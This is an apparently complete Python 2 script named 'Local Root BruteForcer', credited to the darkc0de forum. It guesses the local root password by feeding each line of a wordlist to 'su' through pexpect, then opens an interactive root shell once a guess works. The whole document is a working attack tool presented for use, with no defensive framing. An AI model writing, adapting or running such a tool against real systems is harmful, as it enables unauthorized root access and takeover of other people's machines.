| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. | #!/usr/bin/python #Local Root BruteForcer #More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=1571 #http://www.darkc0de.com #d3hydr8[at]gmail[dot]com import sys try: import pexpect except(ImportError): print "\nYou need the pexpect module." print "http://www.noah.org/wiki/Pexpect\n" sys.exit(1) #Change this if needed. LOGIN_ERROR = 'su: incorrect password' def brute(word): print "Trying:",word child = pexpect.spawn ('su') child.expect ('Password: ') child.sendline (word) i = child.expect (['.+\s#\s',LOGIN_ERROR]) if i == 0: print "\n\t[!] Root Password:",word child.sendline ('whoami') print child.before child.interact() #if i == 1: #print "Incorrect Password" if len(sys.argv) != 2: print "\nUsage : ./rootbrute.py <wordlist>" print "Eg: ./rootbrute.py words.txt\n" sys.exit(1) try: words = open(sys.argv[1], "r").readlines() except(IOError): print "\nError: Check your wordlist path\n" sys.exit(1) print "\n[+] Loaded:",len(words),"words" print "[+] BruteForcing...\n" for word in words: brute(word.replace("\n","")) |